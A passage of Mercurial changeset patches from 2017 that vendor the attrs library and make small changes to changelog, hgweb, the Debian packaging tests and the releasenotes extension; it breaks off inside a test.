+    def repr_(self):
+        """
+        Automatically created by attrs.
+        """
+        real_cls = self.__class__
+        if ns is None:
+            qualname = getattr(real_cls, "__qualname__", None)
+            if qualname is not None:
+                class_name = qualname.rsplit(">.", 1)[-1]
+            else:
+                class_name = real_cls.__name__
+        else:
+            class_name = ns + "." + real_cls.__name__
+
+        return "{0}({1})".format(
+            class_name,
+            ", ".join(a.name + "=" + repr(getattr(self, a.name))
+                      for a in attrs)
+        )
+    cls.__repr__ = repr_
+    return cls
+
+
+def _add_init(cls, frozen):
+    """
+    Add a __init__ method to *cls*.  If *frozen* is True, make it immutable.
+    """
+    attrs = [a for a in cls.__attrs_attrs__
+             if a.init or a.default is not NOTHING]
+
+    # We cache the generated init methods for the same kinds of attributes.
+    sha1 = hashlib.sha1()
+    sha1.update(repr(attrs).encode("utf-8"))
+    unique_filename = "<attrs generated init {0}>".format(
+        sha1.hexdigest()
+    )
+
+    script, globs = _attrs_to_script(
+        attrs,
+        frozen,
+        getattr(cls, "__attrs_post_init__", False),
+    )
+    locs = {}
+    bytecode = compile(script, unique_filename, "exec")
+    attr_dict = dict((a.name, a) for a in attrs)
+    globs.update({
+        "NOTHING": NOTHING,
+        "attr_dict": attr_dict,
+    })
+    if frozen is True:
+        # Save the lookup overhead in __init__ if we need to circumvent
+        # immutability.
+        globs["_cached_setattr"] = _obj_setattr
+    eval(bytecode, globs, locs)
+    init = locs["__init__"]
+
+    # In order of debuggers like PDB being able to step through the code,
+    # we add a fake linecache entry.
+    linecache.cache[unique_filename] = (
+        len(script),
+        None,
+        script.splitlines(True),
+        unique_filename
+    )
+    cls.__init__ = init
+    return cls
+
+
+def _add_pickle(cls):
+    """
+    Add pickle helpers, needed for frozen and slotted classes
+    """
+    def _slots_getstate__(obj):
+        """
+        Play nice with pickle.
+        """
+        return tuple(getattr(obj, a.name) for a in fields(obj.__class__))
+
+    def _slots_setstate__(obj, state):
+        """
+        Play nice with pickle.
+        """
+        __bound_setattr = _obj_setattr.__get__(obj, Attribute)
+        for a, value in zip(fields(obj.__class__), state):
+            __bound_setattr(a.name, value)
+
+    cls.__getstate__ = _slots_getstate__
+    cls.__setstate__ = _slots_setstate__
+    return cls
+
+
+def fields(cls):
+    """
+    Returns the tuple of ``attrs`` attributes for a class.
+
+    The tuple also allows accessing the fields by their names (see below for
+    examples).
+
+    :param type cls: Class to introspect.
+
+    :raise TypeError: If *cls* is not a class.
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    :rtype: tuple (with name accesors) of :class:`attr.Attribute`
+
+    ..  versionchanged:: 16.2.0 Returned tuple allows accessing the fields
+        by name.
+    """
+    if not isclass(cls):
+        raise TypeError("Passed object must be a class.")
+    attrs = getattr(cls, "__attrs_attrs__", None)
+    if attrs is None:
+        raise NotAnAttrsClassError(
+            "{cls!r} is not an attrs-decorated class.".format(cls=cls)
+        )
+    return attrs
+
+
+def validate(inst):
+    """
+    Validate all attributes on *inst* that have a validator.
+
+    Leaves all exceptions through.
+
+    :param inst: Instance of a class with ``attrs`` attributes.
+    """
+    if _config._run_validators is False:
+        return
+
+    for a in fields(inst.__class__):
+        v = a.validator
+        if v is not None:
+            v(inst, a, getattr(inst, a.name))
+
+
+def _attrs_to_script(attrs, frozen, post_init):
+    """
+    Return a script of an initializer for *attrs* and a dict of globals.
+
+    The globals are expected by the generated script.
+
+     If *frozen* is True, we cannot set the attributes directly so we use
+    a cached ``object.__setattr__``.
+    """
+    lines = []
+    if frozen is True:
+        lines.append(
+            # Circumvent the __setattr__ descriptor to save one lookup per
+            # assignment.
+            "_setattr = _cached_setattr.__get__(self, self.__class__)"
+        )
+
+        def fmt_setter(attr_name, value_var):
+            return "_setattr('%(attr_name)s', %(value_var)s)" % {
+                "attr_name": attr_name,
+                "value_var": value_var,
+            }
+
+        def fmt_setter_with_converter(attr_name, value_var):
+            conv_name = _init_convert_pat.format(attr_name)
+            return "_setattr('%(attr_name)s', %(conv)s(%(value_var)s))" % {
+                "attr_name": attr_name,
+                "value_var": value_var,
+                "conv": conv_name,
+            }
+    else:
+        def fmt_setter(attr_name, value):
+            return "self.%(attr_name)s = %(value)s" % {
+                "attr_name": attr_name,
+                "value": value,
+            }
+
+        def fmt_setter_with_converter(attr_name, value_var):
+            conv_name = _init_convert_pat.format(attr_name)
+            return "self.%(attr_name)s = %(conv)s(%(value_var)s)" % {
+                "attr_name": attr_name,
+                "value_var": value_var,
+                "conv": conv_name,
+            }
+
+    args = []
+    attrs_to_validate = []
+
+    # This is a dictionary of names to validator and converter callables.
+    # Injecting this into __init__ globals lets us avoid lookups.
+    names_for_globals = {}
+
+    for a in attrs:
+        if a.validator:
+            attrs_to_validate.append(a)
+        attr_name = a.name
+        arg_name = a.name.lstrip("_")
+        has_factory = isinstance(a.default, Factory)
+        if has_factory and a.default.takes_self:
+            maybe_self = "self"
+        else:
+            maybe_self = ""
+        if a.init is False:
+            if has_factory:
+                init_factory_name = _init_factory_pat.format(a.name)
+                if a.convert is not None:
+                    lines.append(fmt_setter_with_converter(
+                        attr_name,
+                        init_factory_name + "({0})".format(maybe_self)))
+                    conv_name = _init_convert_pat.format(a.name)
+                    names_for_globals[conv_name] = a.convert
+                else:
+                    lines.append(fmt_setter(
+                        attr_name,
+                        init_factory_name + "({0})".format(maybe_self)
+                    ))
+                names_for_globals[init_factory_name] = a.default.factory
+            else:
+                if a.convert is not None:
+                    lines.append(fmt_setter_with_converter(
+                        attr_name,
+                        "attr_dict['{attr_name}'].default"
+                        .format(attr_name=attr_name)
+                    ))
+                    conv_name = _init_convert_pat.format(a.name)
+                    names_for_globals[conv_name] = a.convert
+                else:
+                    lines.append(fmt_setter(
+                        attr_name,
+                        "attr_dict['{attr_name}'].default"
+                        .format(attr_name=attr_name)
+                    ))
+        elif a.default is not NOTHING and not has_factory:
+            args.append(
+                "{arg_name}=attr_dict['{attr_name}'].default".format(
+                    arg_name=arg_name,
+                    attr_name=attr_name,
+                )
+            )
+            if a.convert is not None:
+                lines.append(fmt_setter_with_converter(attr_name, arg_name))
+                names_for_globals[_init_convert_pat.format(a.name)] = a.convert
+            else:
+                lines.append(fmt_setter(attr_name, arg_name))
+        elif has_factory:
+            args.append("{arg_name}=NOTHING".format(arg_name=arg_name))
+            lines.append("if {arg_name} is not NOTHING:"
+                         .format(arg_name=arg_name))
+            init_factory_name = _init_factory_pat.format(a.name)
+            if a.convert is not None:
+                lines.append("    " + fmt_setter_with_converter(attr_name,
+                                                                arg_name))
+                lines.append("else:")
+                lines.append("    " + fmt_setter_with_converter(
+                    attr_name,
+                    init_factory_name + "({0})".format(maybe_self)
+                ))
+                names_for_globals[_init_convert_pat.format(a.name)] = a.convert
+            else:
+                lines.append("    " + fmt_setter(attr_name, arg_name))
+                lines.append("else:")
+                lines.append("    " + fmt_setter(
+                    attr_name,
+                    init_factory_name + "({0})".format(maybe_self)
+                ))
+            names_for_globals[init_factory_name] = a.default.factory
+        else:
+            args.append(arg_name)
+            if a.convert is not None:
+                lines.append(fmt_setter_with_converter(attr_name, arg_name))
+                names_for_globals[_init_convert_pat.format(a.name)] = a.convert
+            else:
+                lines.append(fmt_setter(attr_name, arg_name))
+
+    if attrs_to_validate:  # we can skip this if there are no validators.
+        names_for_globals["_config"] = _config
+        lines.append("if _config._run_validators is True:")
+        for a in attrs_to_validate:
+            val_name = "__attr_validator_{}".format(a.name)
+            attr_name = "__attr_{}".format(a.name)
+            lines.append("    {}(self, {}, self.{})".format(
+                val_name, attr_name, a.name))
+            names_for_globals[val_name] = a.validator
+            names_for_globals[attr_name] = a
+    if post_init:
+        lines.append("self.__attrs_post_init__()")
+
+    return """\
+def __init__(self, {args}):
+    {lines}
+""".format(
+        args=", ".join(args),
+        lines="\n    ".join(lines) if lines else "pass",
+    ), names_for_globals
+
+
+class Attribute(object):
+    """
+    *Read-only* representation of an attribute.
+
+    :attribute name: The name of the attribute.
+
+    Plus *all* arguments of :func:`attr.ib`.
+    """
+    __slots__ = (
+        "name", "default", "validator", "repr", "cmp", "hash", "init",
+        "convert", "metadata",
+    )
+
+    def __init__(self, name, default, validator, repr, cmp, hash, init,
+                 convert=None, metadata=None):
+        # Cache this descriptor here to speed things up later.
+        bound_setattr = _obj_setattr.__get__(self, Attribute)
+
+        bound_setattr("name", name)
+        bound_setattr("default", default)
+        bound_setattr("validator", validator)
+        bound_setattr("repr", repr)
+        bound_setattr("cmp", cmp)
+        bound_setattr("hash", hash)
+        bound_setattr("init", init)
+        bound_setattr("convert", convert)
+        bound_setattr("metadata", (metadata_proxy(metadata) if metadata
+                                   else _empty_metadata_singleton))
+
+    def __setattr__(self, name, value):
+        raise FrozenInstanceError()
+
+    @classmethod
+    def from_counting_attr(cls, name, ca):
+        inst_dict = {
+            k: getattr(ca, k)
+            for k
+            in Attribute.__slots__
+            if k not in (
+                "name", "validator", "default",
+            )  # exclude methods
+        }
+        return cls(name=name, validator=ca._validator, default=ca._default,
+                   **inst_dict)
+
+    # Don't use _add_pickle since fields(Attribute) doesn't work
+    def __getstate__(self):
+        """
+        Play nice with pickle.
+        """
+        return tuple(getattr(self, name) if name != "metadata"
+                     else dict(self.metadata)
+                     for name in self.__slots__)
+
+    def __setstate__(self, state):
+        """
+        Play nice with pickle.
+        """
+        bound_setattr = _obj_setattr.__get__(self, Attribute)
+        for name, value in zip(self.__slots__, state):
+            if name != "metadata":
+                bound_setattr(name, value)
+            else:
+                bound_setattr(name, metadata_proxy(value) if value else
+                              _empty_metadata_singleton)
+
+
+_a = [Attribute(name=name, default=NOTHING, validator=None,
+                repr=True, cmp=True, hash=(name != "metadata"), init=True)
+      for name in Attribute.__slots__]
+
+Attribute = _add_hash(
+    _add_cmp(_add_repr(Attribute, attrs=_a), attrs=_a),
+    attrs=[a for a in _a if a.hash]
+)
+
+
+class _CountingAttr(object):
+    """
+    Intermediate representation of attributes that uses a counter to preserve
+    the order in which the attributes have been defined.
+
+    *Internal* data structure of the attrs library.  Running into is most
+    likely the result of a bug like a forgotten `@attr.s` decorator.
+    """
+    __slots__ = ("counter", "_default", "repr", "cmp", "hash", "init",
+                 "metadata", "_validator", "convert")
+    __attrs_attrs__ = tuple(
+        Attribute(name=name, default=NOTHING, validator=None,
+                  repr=True, cmp=True, hash=True, init=True)
+        for name
+        in ("counter", "_default", "repr", "cmp", "hash", "init",)
+    ) + (
+        Attribute(name="metadata", default=None, validator=None,
+                  repr=True, cmp=True, hash=False, init=True),
+    )
+    cls_counter = 0
+
+    def __init__(self, default, validator, repr, cmp, hash, init, convert,
+                 metadata):
+        _CountingAttr.cls_counter += 1
+        self.counter = _CountingAttr.cls_counter
+        self._default = default
+        # If validator is a list/tuple, wrap it using helper validator.
+        if validator and isinstance(validator, (list, tuple)):
+            self._validator = and_(*validator)
+        else:
+            self._validator = validator
+        self.repr = repr
+        self.cmp = cmp
+        self.hash = hash
+        self.init = init
+        self.convert = convert
+        self.metadata = metadata
+
+    def validator(self, meth):
+        """
+        Decorator that adds *meth* to the list of validators.
+
+        Returns *meth* unchanged.
+
+        .. versionadded:: 17.1.0
+        """
+        if self._validator is None:
+            self._validator = meth
+        else:
+            self._validator = and_(self._validator, meth)
+        return meth
+
+    def default(self, meth):
+        """
+        Decorator that allows to set the default for an attribute.
+
+        Returns *meth* unchanged.
+
+        :raises DefaultAlreadySetError: If default has been set before.
+
+        .. versionadded:: 17.1.0
+        """
+        if self._default is not NOTHING:
+            raise DefaultAlreadySetError()
+
+        self._default = Factory(meth, takes_self=True)
+
+        return meth
+
+
+_CountingAttr = _add_cmp(_add_repr(_CountingAttr))
+
+
+@attributes(slots=True, init=False)
+class Factory(object):
+    """
+    Stores a factory callable.
+
+    If passed as the default value to :func:`attr.ib`, the factory is used to
+    generate a new value.
+
+    :param callable factory: A callable that takes either none or exactly one
+        mandatory positional argument depending on *takes_self*.
+    :param bool takes_self: Pass the partially initialized instance that is
+        being initialized as a positional argument.
+
+    .. versionadded:: 17.1.0  *takes_self*
+    """
+    factory = attr()
+    takes_self = attr()
+
+    def __init__(self, factory, takes_self=False):
+        """
+        `Factory` is part of the default machinery so if we want a default
+        value here, we have to implement it ourselves.
+        """
+        self.factory = factory
+        self.takes_self = takes_self
+
+
+def make_class(name, attrs, bases=(object,), **attributes_arguments):
+    """
+    A quick way to create a new class called *name* with *attrs*.
+
+    :param name: The name for the new class.
+    :type name: str
+
+    :param attrs: A list of names or a dictionary of mappings of names to
+        attributes.
+    :type attrs: :class:`list` or :class:`dict`
+
+    :param tuple bases: Classes that the new class will subclass.
+
+    :param attributes_arguments: Passed unmodified to :func:`attr.s`.
+
+    :return: A new class with *attrs*.
+    :rtype: type
+
+    ..  versionadded:: 17.1.0 *bases*
+    """
+    if isinstance(attrs, dict):
+        cls_dict = attrs
+    elif isinstance(attrs, (list, tuple)):
+        cls_dict = dict((a, attr()) for a in attrs)
+    else:
+        raise TypeError("attrs argument must be a dict or a list.")
+
+    return attributes(**attributes_arguments)(type(name, bases, cls_dict))
+
+
+# These are required by whithin this module so we define them here and merely
+# import into .validators.
+
+
+@attributes(slots=True, hash=True)
+class _AndValidator(object):
+    """
+    Compose many validators to a single one.
+    """
+    _validators = attr()
+
+    def __call__(self, inst, attr, value):
+        for v in self._validators:
+            v(inst, attr, value)
+
+
+def and_(*validators):
+    """
+    A validator that composes multiple validators into one.
+
+    When called on a value, it runs all wrapped validators.
+
+    :param validators: Arbitrary number of validators.
+    :type validators: callables
+
+    .. versionadded:: 17.1.0
+    """
+    vals = []
+    for validator in validators:
+        vals.extend(
+            validator._validators if isinstance(validator, _AndValidator)
+            else [validator]
+        )
+
+    return _AndValidator(tuple(vals))
diff --git a/mercurial/thirdparty/attr/converters.py b/mercurial/thirdparty/attr/converters.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/converters.py
@@ -0,0 +1,24 @@
+"""
+Commonly useful converters.
+"""
+
+from __future__ import absolute_import, division, print_function
+
+
+def optional(converter):
+    """
+    A converter that allows an attribute to be optional. An optional attribute
+    is one which can be set to ``None``.
+
+    :param callable converter: the converter that is used for non-``None``
+        values.
+
+    ..  versionadded:: 17.1.0
+    """
+
+    def optional_converter(val):
+        if val is None:
+            return None
+        return converter(val)
+
+    return optional_converter
diff --git a/mercurial/thirdparty/attr/exceptions.py b/mercurial/thirdparty/attr/exceptions.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/exceptions.py
@@ -0,0 +1,39 @@
+from __future__ import absolute_import, division, print_function
+
+
+class FrozenInstanceError(AttributeError):
+    """
+    A frozen/immutable instance has been attempted to be modified.
+
+    It mirrors the behavior of ``namedtuples`` by using the same error message
+    and subclassing :exc:`AttributeError`.
+
+    .. versionadded:: 16.1.0
+    """
+    msg = "can't set attribute"
+    args = [msg]
+
+
+class AttrsAttributeNotFoundError(ValueError):
+    """
+    An ``attrs`` function couldn't find an attribute that the user asked for.
+
+    .. versionadded:: 16.2.0
+    """
+
+
+class NotAnAttrsClassError(ValueError):
+    """
+    A non-``attrs`` class has been passed into an ``attrs`` function.
+
+    .. versionadded:: 16.2.0
+    """
+
+
+class DefaultAlreadySetError(RuntimeError):
+    """
+    A default has been set using ``attr.ib()`` and is attempted to be reset
+    using the decorator.
+
+    .. versionadded:: 17.1.0
+    """
diff --git a/mercurial/thirdparty/attr/filters.py b/mercurial/thirdparty/attr/filters.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/filters.py
@@ -0,0 +1,52 @@
+"""
+Commonly useful filters for :func:`attr.asdict`.
+"""
+
+from __future__ import absolute_import, division, print_function
+
+from ._compat import isclass
+from ._make import Attribute
+
+
+def _split_what(what):
+    """
+    Returns a tuple of `frozenset`s of classes and attributes.
+    """
+    return (
+        frozenset(cls for cls in what if isclass(cls)),
+        frozenset(cls for cls in what if isinstance(cls, Attribute)),
+    )
+
+
+def include(*what):
+    """
+    Whitelist *what*.
+
+    :param what: What to whitelist.
+    :type what: :class:`list` of :class:`type` or :class:`attr.Attribute`\ s
+
+    :rtype: :class:`callable`
+    """
+    cls, attrs = _split_what(what)
+
+    def include_(attribute, value):
+        return value.__class__ in cls or attribute in attrs
+
+    return include_
+
+
+def exclude(*what):
+    """
+    Blacklist *what*.
+
+    :param what: What to blacklist.
+    :type what: :class:`list` of classes or :class:`attr.Attribute`\ s.
+
+    :rtype: :class:`callable`
+    """
+    cls, attrs = _split_what(what)
+
+    def exclude_(attribute, value):
+        return value.__class__ not in cls and attribute not in attrs
+
+    return exclude_
diff --git a/mercurial/thirdparty/attr/validators.py b/mercurial/thirdparty/attr/validators.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/validators.py
@@ -0,0 +1,166 @@
+"""
+Commonly useful validators.
+"""
+
+from __future__ import absolute_import, division, print_function
+
+from ._make import attr, attributes, and_, _AndValidator
+
+
+__all__ = [
+    "and_",
+    "in_",
+    "instance_of",
+    "optional",
+    "provides",
+]
+
+
+@attributes(repr=False, slots=True, hash=True)
+class _InstanceOfValidator(object):
+    type = attr()
+
+    def __call__(self, inst, attr, value):
+        """
+        We use a callable class to be able to change the ``__repr__``.
+        """
+        if not isinstance(value, self.type):
+            raise TypeError(
+                "'{name}' must be {type!r} (got {value!r} that is a "
+                "{actual!r})."
+                .format(name=attr.name, type=self.type,
+                        actual=value.__class__, value=value),
+                attr, self.type, value,
+            )
+
+    def __repr__(self):
+        return (
+            "<instance_of validator for type {type!r}>"
+            .format(type=self.type)
+        )
+
+
+def instance_of(type):
+    """
+    A validator that raises a :exc:`TypeError` if the initializer is called
+    with a wrong type for this particular attribute (checks are perfomed using
+    :func:`isinstance` therefore it's also valid to pass a tuple of types).
+
+    :param type: The type to check for.
+    :type type: type or tuple of types
+
+    :raises TypeError: With a human readable error message, the attribute
+        (of type :class:`attr.Attribute`), the expected type, and the value it
+        got.
+    """
+    return _InstanceOfValidator(type)
+
+
+@attributes(repr=False, slots=True, hash=True)
+class _ProvidesValidator(object):
+    interface = attr()
+
+    def __call__(self, inst, attr, value):
+        """
+        We use a callable class to be able to change the ``__repr__``.
+        """
+        if not self.interface.providedBy(value):
+            raise TypeError(
+                "'{name}' must provide {interface!r} which {value!r} "
+                "doesn't."
+                .format(name=attr.name, interface=self.interface, value=value),
+                attr, self.interface, value,
+            )
+
+    def __repr__(self):
+        return (
+            "<provides validator for interface {interface!r}>"
+            .format(interface=self.interface)
+        )
+
+
+def provides(interface):
+    """
+    A validator that raises a :exc:`TypeError` if the initializer is called
+    with an object that does not provide the requested *interface* (checks are
+    performed using ``interface.providedBy(value)`` (see `zope.interface
+    <https://zopeinterface.readthedocs.io/en/latest/>`_).
+
+    :param zope.interface.Interface interface: The interface to check for.
+
+    :raises TypeError: With a human readable error message, the attribute
+        (of type :class:`attr.Attribute`), the expected interface, and the
+        value it got.
+    """
+    return _ProvidesValidator(interface)
+
+
+@attributes(repr=False, slots=True, hash=True)
+class _OptionalValidator(object):
+    validator = attr()
+
+    def __call__(self, inst, attr, value):
+        if value is None:
+            return
+
+        self.validator(inst, attr, value)
+
+    def __repr__(self):
+        return (
+            "<optional validator for {what} or None>"
+            .format(what=repr(self.validator))
+        )
+
+
+def optional(validator):
+    """
+    A validator that makes an attribute optional.  An optional attribute is one
+    which can be set to ``None`` in addition to satisfying the requirements of
+    the sub-validator.
+
+    :param validator: A validator (or a list of validators) that is used for
+        non-``None`` values.
+    :type validator: callable or :class:`list` of callables.
+
+    .. versionadded:: 15.1.0
+    .. versionchanged:: 17.1.0 *validator* can be a list of validators.
+    """
+    if isinstance(validator, list):
+        return _OptionalValidator(_AndValidator(validator))
+    return _OptionalValidator(validator)
+
+
+@attributes(repr=False, slots=True, hash=True)
+class _InValidator(object):
+    options = attr()
+
+    def __call__(self, inst, attr, value):
+        if value not in self.options:
+            raise ValueError(
+                "'{name}' must be in {options!r} (got {value!r})"
+                .format(name=attr.name, options=self.options, value=value)
+            )
+
+    def __repr__(self):
+        return (
+            "<in_ validator with options {options!r}>"
+            .format(options=self.options)
+        )
+
+
+def in_(options):
+    """
+    A validator that raises a :exc:`ValueError` if the initializer is called
+    with a value that does not belong in the options provided.  The check is
+    performed using ``value in options``.
+
+    :param options: Allowed options.
+    :type options: list, tuple, :class:`enum.Enum`, ...
+
+    :raises ValueError: With a human readable error message, the attribute (of
+       type :class:`attr.Attribute`), the expected options, and the value it
+       got.
+
+    .. versionadded:: 17.1.0
+    """
+    return _InValidator(options)
diff --git a/setup.py b/setup.py
--- a/setup.py
+++ b/setup.py
@@ -709,6 +709,8 @@
             'mercurial.hgweb',
             'mercurial.httpclient',
             'mercurial.pure',
+            'mercurial.thirdparty',
+            'mercurial.thirdparty.attr',
             'hgext', 'hgext.convert', 'hgext.fsmonitor',
             'hgext.fsmonitor.pywatchman', 'hgext.highlight',
             'hgext.largefiles', 'hgext.zeroconf', 'hgext3rd',
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506853460 25200
#      Sun Oct 01 03:24:20 2017 -0700
# Node ID e51c8ffa1ffa3524e01cd1d1f60c79fc5ef02e43
# Parent  765eb17a7eb8f3e57332954423c6b4eecfcb7595
changelog: use attrs instead of namedtuple

See http://www.attrs.org/en/stable/why.html#namedtuples for why attrs are
better than namedtuples.

Differential Revision: https://phab.mercurial-scm.org/D868

diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -7,14 +7,15 @@
 
 from __future__ import absolute_import
 
-import collections
-
 from .i18n import _
 from .node import (
     bin,
     hex,
     nullid,
 )
+from .thirdparty import (
+    attr,
+)
 
 from . import (
     encoding,
@@ -142,10 +143,16 @@
         return appender(opener, name, mode, buf)
     return _delay
 
-_changelogrevision = collections.namedtuple(u'changelogrevision',
-                                            (u'manifest', u'user', u'date',
-                                             u'files', u'description',
-                                             u'extra'))
+@attr.s
+class _changelogrevision(object):
+    # Extensions might modify _defaultextra, so let the constructor below pass
+    # it in
+    extra = attr.ib()
+    manifest = attr.ib(default=nullid)
+    user = attr.ib(default='')
+    date = attr.ib(default=(0, 0))
+    files = attr.ib(default=[])
+    description = attr.ib(default='')
 
 class changelogrevision(object):
     """Holds results of a parsed changelog revision.
@@ -162,14 +169,7 @@
 
     def __new__(cls, text):
         if not text:
-            return _changelogrevision(
-                manifest=nullid,
-                user='',
-                date=(0, 0),
-                files=[],
-                description='',
-                extra=_defaultextra,
-            )
+            return _changelogrevision(extra=_defaultextra)
 
         self = super(changelogrevision, cls).__new__(cls)
         # We could return here and implement the following as an __init__.
# HG changeset patch
# User Kyle Lippincott <spectral@google.com>
# Date 1506856201 25200
#      Sun Oct 01 04:10:01 2017 -0700
# Node ID 200eadbcf0b03205059c2528757edcd737ec4255
# Parent  e51c8ffa1ffa3524e01cd1d1f60c79fc5ef02e43
hghave: check for debuild being installed as well

Differential Revision: https://phab.mercurial-scm.org/D874

diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -581,7 +581,11 @@
                      br'dh is a part of debhelper.', ignorestatus=True)
     dh_py2 = matchoutput('dh_python2 --help',
                          br'other supported Python versions')
-    return dpkg and dh and dh_py2
+    # debuild comes from the 'devscripts' package, though you might want
+    # the 'build-debs' package instead, which has a dependency on devscripts.
+    debuild = matchoutput('debuild --help',
+                          br'to run debian/rules with given parameter')
+    return dpkg and dh and dh_py2 and debuild
 
 @check("demandimport", "demandimport enabled")
 def has_demandimport():
# HG changeset patch
# User Kyle Lippincott <spectral@google.com>
# Date 1506857876 25200
#      Sun Oct 01 04:37:56 2017 -0700
# Node ID 3d936da4f97b8113a8a29fa31be887050ff3a345
# Parent  200eadbcf0b03205059c2528757edcd737ec4255
tests: expect parsers.so in cext, parsers.py in pure (test-debian-packages)

Differential Revision: https://phab.mercurial-scm.org/D878

diff --git a/tests/test-debian-packages.t b/tests/test-debian-packages.t
--- a/tests/test-debian-packages.t
+++ b/tests/test-debian-packages.t
@@ -12,12 +12,12 @@
   $ cd "$TESTDIR"/..
   $ make deb > $OUTPUTDIR/build.log 2>&1
   $ cd $OUTPUTDIR
-  $ ls *.deb
+  $ ls *.deb | grep -v 'dbg'
   mercurial-common_*.deb (glob)
   mercurial_*.deb (glob)
 main deb should have .so but no .py
   $ dpkg --contents mercurial_*.deb | egrep '(localrepo|parsers)'
-  * ./usr/lib/python2.7/dist-packages/mercurial/parsers*.so (glob)
+  * ./usr/lib/python2.7/dist-packages/mercurial/cext/parsers*.so (glob)
 mercurial-common should have py but no .so or pyc
-  $ dpkg --contents mercurial-common_*.deb | egrep '(localrepo|parsers)'
+  $ dpkg --contents mercurial-common_*.deb | egrep '(localrepo|parsers.*so)'
   * ./usr/lib/python2.7/dist-packages/mercurial/localrepo.py (glob)
# HG changeset patch
# User Kyle Lippincott <spectral@google.com>
# Date 1506860492 25200
#      Sun Oct 01 05:21:32 2017 -0700
# Node ID 13d3f8aaed870f729245a1e76f93c3a6ebd68eb1
# Parent  3d936da4f97b8113a8a29fa31be887050ff3a345
tests: add "have" check for dpkg builddeps

Differential Revision: https://phab.mercurial-scm.org/D879

diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -587,6 +587,13 @@
                           br'to run debian/rules with given parameter')
     return dpkg and dh and dh_py2 and debuild
 
+@check("debdeps",
+       "debian build dependencies (run dpkg-checkbuilddeps in contrib/)")
+def has_debdeps():
+    # just check exit status (ignoring output)
+    path = '%s/../contrib/debian/control' % os.environ['TESTDIR']
+    return matchoutput('dpkg-checkbuilddeps %s' % path, br'')
+
 @check("demandimport", "demandimport enabled")
 def has_demandimport():
     return os.environ.get('HGDEMANDIMPORT') != 'disable'
diff --git a/tests/test-debian-packages.t b/tests/test-debian-packages.t
--- a/tests/test-debian-packages.t
+++ b/tests/test-debian-packages.t
@@ -1,4 +1,4 @@
-#require test-repo slow debhelper
+#require test-repo slow debhelper debdeps
 
   $ . "$TESTDIR/helpers-testrepo.sh"
   $ testrepohgenv
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506862967 -3600
#      Sun Oct 01 14:02:47 2017 +0100
# Node ID 689f6cdccef5082ed706c5b39a82388a16b6d29c
# Parent  13d3f8aaed870f729245a1e76f93c3a6ebd68eb1
hgweb: remove extra </div>

This was accidentally added in 6797f1fbc642.

Differential Revision: https://phab.mercurial-scm.org/D880

diff --git a/mercurial/templates/gitweb/map b/mercurial/templates/gitweb/map
--- a/mercurial/templates/gitweb/map
+++ b/mercurial/templates/gitweb/map
@@ -348,5 +348,4 @@
     <input id="ignorewsamount-checkbox" type="checkbox" />
     <span>At end of lines:</span>
     <input id="ignorewseol-checkbox" type="checkbox" />
-  </form>
-  </div>'
+  </form>'
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506857373 -3600
#      Sun Oct 01 12:29:33 2017 +0100
# Node ID 407ebe7a9b934204408adcfe3aa338bcfd4d03e9
# Parent  689f6cdccef5082ed706c5b39a82388a16b6d29c
hgweb: use parsebool for parsing diff query string options

Differential Revision: https://phab.mercurial-scm.org/D875

diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -865,9 +865,10 @@
 
     The ``ignorews``, ``ignorewsamount``, ``ignorewseol``, and
     ``ignoreblanklines`` query string arguments have the same meaning as
-    their ``[annotate]`` config equivalents. A value of ``0`` sets the
-    whitespace option to false. All other values are true. If not defined,
-    the server default settings are used.
+    their ``[annotate]`` config equivalents. It uses the hgrc boolean
+    parsing logic to interpret the value. e.g. ``0`` and ``false`` are
+    false and ``1`` and ``true`` are true. If not defined, the server
+    default settings are used.
 
     The ``fileannotate`` template is rendered.
     """
diff --git a/mercurial/hgweb/webutil.py b/mercurial/hgweb/webutil.py
--- a/mercurial/hgweb/webutil.py
+++ b/mercurial/hgweb/webutil.py
@@ -177,12 +177,8 @@
     for k in ('ignorews', 'ignorewsamount', 'ignorewseol', 'ignoreblanklines'):
         v = req.form.get(k, [None])[0]
         if v is not None:
-            try:
-                v = bool(int(v))
-            except ValueError:
-                v = True
-
-            setattr(diffopts, k, v)
+            v = util.parsebool(v)
+            setattr(diffopts, k, v if v is not None else True)
 
     return diffopts
 
# HG changeset patch
# User Rishabh Madan <rishabhmadan96@gmail.com>
# Date 1506865070 -3600
#      Sun Oct 01 14:37:50 2017 +0100
# Node ID 159a6f7e09a94b62f3ca018e944458e3442470a3
# Parent  407ebe7a9b934204408adcfe3aa338bcfd4d03e9
releasenotes: display release notes when no filename is specified

If the filename is not specified while using --rev, the notes for the specified
revs will just be displayed on screen.

Differential Revision: https://phab.mercurial-scm.org/D877

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -576,6 +576,9 @@
 
     incoming = parsenotesfromrevisions(repo, sections.names(), revs)
 
+    if file_ is None:
+        return ui.write(serializenotes(sections, incoming))
+
     try:
         with open(file_, 'rb') as fh:
             notes = parsereleasenotesfile(sections, fh.read())
diff --git a/tests/test-releasenotes-formatting.t b/tests/test-releasenotes-formatting.t
--- a/tests/test-releasenotes-formatting.t
+++ b/tests/test-releasenotes-formatting.t
@@ -434,3 +434,26 @@
   $ hg releasenotes -l -c
   abort: cannot use both '--list' and '--check'
   [255]
+
+Display release notes for specified revs if no file is mentioned
+
+  $ hg init relnotes-nofile
+  $ cd relnotes-nofile
+
+  $ touch fix1
+  $ hg -q commit -A -l - << EOF
+  > commit 1
+  > 
+  > .. fix:: Title of First Fix
+  > 
+  >    First paragraph of fix 1.
